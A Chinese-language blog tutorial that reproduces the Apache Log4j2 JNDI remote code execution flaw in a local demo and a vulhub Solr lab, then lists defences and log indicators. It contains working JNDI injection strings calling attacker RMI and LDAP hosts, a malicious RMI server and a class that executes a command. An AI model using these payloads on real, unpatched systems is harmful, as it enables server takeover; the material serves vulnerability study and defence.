赞
踩
目录
Apache Log4j2是一个基于Java的日志记录工具,当前被广泛应用于业务系统开发,开发 者可以利用该工具将程序的输入输出信息进行日志记录。 2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏 洞。该漏洞是由于Apache Log4j2某些功能存在递归解析功能,导致攻击者可直接构造恶 意请求,触发远程代码执行漏洞,从而获得目标服务器权限。
漏洞适应版本:2.0 <= Apache log4j2 <=2.14.1
了解这个漏洞首先需要一些开发的知识。
第一,啥是log4j2?
log4j2是apache下的java应用常见的开源日志库,就是一个日志记录工具,可以控制日志信息输送的目的地为控制台、文件、GUI组建等,被应用于业务系统开发,用于记录程序输入输出日志信息。
第二,啥是JNDI?
JNDI,全称为Java命名和目录接口(Java Naming and Directory Interface),是SUN公司提供的一种标准的Java命名系统接口,允许从指定的远程服务器获取并加载对象。JNDI相当于一个用于映射的字典,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。
其实就是可以让Java应用程序可以向远程服务器获取资源的接口,这也是这次利用的关键点,利用时常用的有RMI和LDAP两种服务。
好了,接下来说一下漏洞的利用过程。
首先先上我们demo的代码
- import org.apache.logging.log4j.LogManager;
- import org.apache.logging.log4j.Logger;
-
- public class Log4j2Test {
- private static final Logger logger = LogManager.getLogger();
- public static void main(String[] args) {
- String username = "world";
- logger.error("hello {}",username);
- }
- }
这里我们模拟Java程序段,username是写死的,此时会输出hello {username}。
如果我们用户的输入变成${java:os}呢?
可以看到,我们操作系统的一些信息被打印出来了。
这里的设计看上去就有非常大的问题,官方文档的意思是这是 log4j2 自带的一个功能。
其实如果按照官网上面的那几个 api 来看,其实不太严重,最多也就是日志与我们输入对不上而已,并不是会引起大的安全漏洞。
但是JNDI是可以调用lookup方法的,然后利用该方法可以让Java程序和黑客的服务器进行交互,从而造成远程代码执行漏洞。
例如我们demo中的username改成 ${jndi:rmi://192.168.174.1/Evil} ,这时候就会通过rmi下载192.167.174.1服务器上的Evil资源,并且在此时会执行该类的相关代码。
下面是模拟rmi服务器的代码
- import com.sun.jndi.rmi.registry.ReferenceWrapper;
- import javax.naming.NamingException;
- import javax.naming.Reference;
- import java.rmi.AlreadyBoundException;
- import java.rmi.RemoteException;
- import java.rmi.registry.LocateRegistry;
- import java.rmi.registry.Registry;
-
- public class RMIServer {
- public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
- //启动rmi服务 端口为1099
- LocateRegistry.createRegistry(1099);
- Registry registry = LocateRegistry.getRegistry();
- //创建资源为本机目录的EvilObj类,其中null代表本机目录,也可以指定服务器,如127.0.0.1:80绑定为本机nginx下资源
- Reference reference = new Reference("com.fdx.rmi.EvilObj", "com.fdx.rmi.EvilObj", null);
- ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
- //绑定资源
- registry.bind("Evil",referenceWrapper);
- System.out.println("初始化成功");
-
- }
- }
Evil绑定的恶意类代码如下:
-
- public class EvilObj {
- static {
- System.out.println("已被攻击");
- }
- }
看到这里的黑客服务器上的恶意类会执行输出“已被攻击”的语句,我们运行黑客rmi服务器看一下效果。
然后运行Java程序,向黑客rmi服务器请求资源。
可以看到在Java程序端输出了已被攻击,这就证明了黑客构建的恶意类在远程Java程序下运行。此时我们修改恶意类代码如下:
- import java.io.IOException;
-
- public class EvilObj {
- static {
- try {
- Runtime.getRuntime().exec("calc");
- } catch (IOException e) {
- e.printStackTrace();
- }
- }
- }
再次重新运行,得到如下结果:
计算机弹出,任意代码执行漏洞验证成功。
我在网上找了一张图,很好的描述了漏洞的触发过程:
远程下载服务器我们在rmi服务器代码中
Reference reference = new Reference("com.fdx.rmi.EvilObj", "com.fdx.rmi.EvilObj", null);
指定了文件下载服务器为本机目录下。
这里用的是vulhub靶场环境,靶场环境在这里不再赘述。打开之后我们得到如下
我们发现这是apache sole的页面,它在记录日志的时候用到了log4j2的依赖从而造成漏洞。
经过查阅资料以及观察,发现在http://192.168.174.128:8983/solr/admin/cores?action=
有一个参数传入点,此时我们在DNSLog Platform获取一个子域名(vy6v8g.dnslog.cn),
然后http://192.168.174.128:8983/solr/admin/cores?action=${jndi:ldap://test.yteq4s.dnslog.cn}
发现在dnslog上面有回显,
得到
出现了我们的Java版本号,证明存在log4j2漏洞,可以进一步利用。
如何对log4j2的攻击进行防御?
1.设置log4j2.formatMsgNoLookups=True。相当于直接禁止lookup查询出栈,也就不可能请求到访问到远程的恶意站点。
2.对包含有"jndi:ldap://"、"jndi:rmi//"这样字符串的请求进行拦截,即拦截JNDI语句来防止JNDI注入。
3.对系统进行合理配置,禁止不必要的业务访问外网,配置网络防火墙,禁止系统主动外连网络等等。
4.升级log4j2组件到新的安全的版本。
5.在高版本的jdk下也不会出现漏洞。
如何排查是否受到了攻击?
检查日志中是否存在"jndi:ldap://"、"jndi:rmi//"等字符来发现可能的攻击行为,前面复现的过程在payload的构造中都出现了这样的字符串,这是攻击的典型标志。
漏洞原理的源码我放在了GitHub上,需要的可以自取:fengdianxiong/log4j2_demo (github.com)
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。